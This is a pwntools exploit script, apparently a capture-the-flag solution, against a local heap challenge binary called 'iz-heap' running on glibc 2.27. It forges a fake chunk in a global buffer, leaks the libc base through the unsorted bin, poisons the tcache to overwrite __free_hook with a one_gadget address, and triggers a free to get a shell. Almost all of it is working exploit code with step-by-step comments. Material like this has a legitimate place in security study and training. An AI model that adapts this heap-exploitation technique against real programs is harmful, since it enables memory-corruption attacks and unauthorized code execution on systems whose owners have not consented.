from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'


def add(size, data):
    global io
    io.sendlineafter('Choice: ', '1')
    io.sendafter('size:', str(size))
    io.sendafter('data:', data)


def edit(index, size, data):
    global io
    io.sendlineafter('Choice: ', '2')
    io.sendafter('index:', index)
    io.sendafter('size:', str(size))
    io.sendafter('data:', data)


def delete(index):
    global io
    io.sendlineafter('Choice: ', '3')
    io.sendafter('index:', str(index))


def show_name(edit, newData):
    global io
    io.sendlineafter('Choice: ', '4')
    if edit:
        io.sendlineafter('(Y/N)', 'Y')
        io.sendafter('name:', newData)
    else:
        io.sendlineafter('(Y/N)', 'N')


# env = {'LD_PRELOAD': '/mnt/data/LinuxData/Ctf/how2heap/glibc_versions/libc-2.27.so'}
# this libc version does not check double free
libc = ELF('./libc.so.6')
env = {'LD_PRELOAD': './libc.so.6'}
io = process(['/mnt/data/LinuxData/Ctf/how2heap/glibc_versions/ld-2.27.so', './iz-heap'], env=env)

gdbscript = '''
set follow-fork-mode child
break *0x400deb
'''

gdbscript += 'c\n'*16

gdb.attach(io, gdbscript)
io.sendafter('name: ', p64(0) + 'A'*(256 - 8))

str_name_addr = 0x602100
malloc_size = 0x80
chunk_size = 0x90

# fill up tcache bins
for i in range(7):
    add(malloc_size, 'A'*malloc_size)
for i in range(7):
    delete(i)

# create fake chung at 0x602100 + 0x10 and free to add it to unsorted bin
fake_chunk = flat(
    p64(str_name_addr + 0x20),
    p64(0),
    p64(0),             # previous size
    p64(chunk_size + 1)     # chunk size (PREV_INUSE = 1)
) + 'A'*(chunk_size - 8) + p64(0x21) + 'B'*(0x20 - 8) + p64(0x21)   # bypass "corrupted size vs. prev_size" check
show_name(True, fake_chunk)
delete(20)

# leak libc in unsorted bin
show_name(True, 'C'*0x20)
leak_libc = u64(io.recvline()[39:-1] + '\x00'*2)
libc_base = leak_libc - 0x3ebca0
one_gadget = libc_base + 0x4f322
# free_hook = libc.symbols['__malloc_hook'] + libc_base
free_hook = libc.symbols['__free_hook'] + libc_base
print '[+] libc_base:', hex(libc_base)
print '[+] one_gadget:', hex(one_gadget)
print '[+] free hook:', hex(free_hook)

# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL

add(malloc_size, 'X'*malloc_size) # take 1 chunk out of tcache bin
show_name(True, fake_chunk)     # create fake chunk again
delete(20)     # move it to tcache bin

# modify fake chunk, make it's fd pointer points to __free_hook
modified_fake_chunk = flat(
    p64(str_name_addr + 0x20),
    p64(0),
    p64(0),
    p64(chunk_size + 1),
    p64(free_hook)
) + 'A'*(chunk_size - 16) + p64(0x21) + 'B'*(0x20 - 8) + p64(0x21)
show_name(True, modified_fake_chunk)

# malloc and get this fake chunk
add(malloc_size, 'X'*malloc_size)

# malloc again to get chunk at __free_hook address and write address of one_gadget to __free_hook
add(malloc_size, p64(one_gadget))

# free(0) to trigger one_gadget
io.sendlineafter('Choice: ', '3')
io.sendafter('index:', '0')

io.interactive()
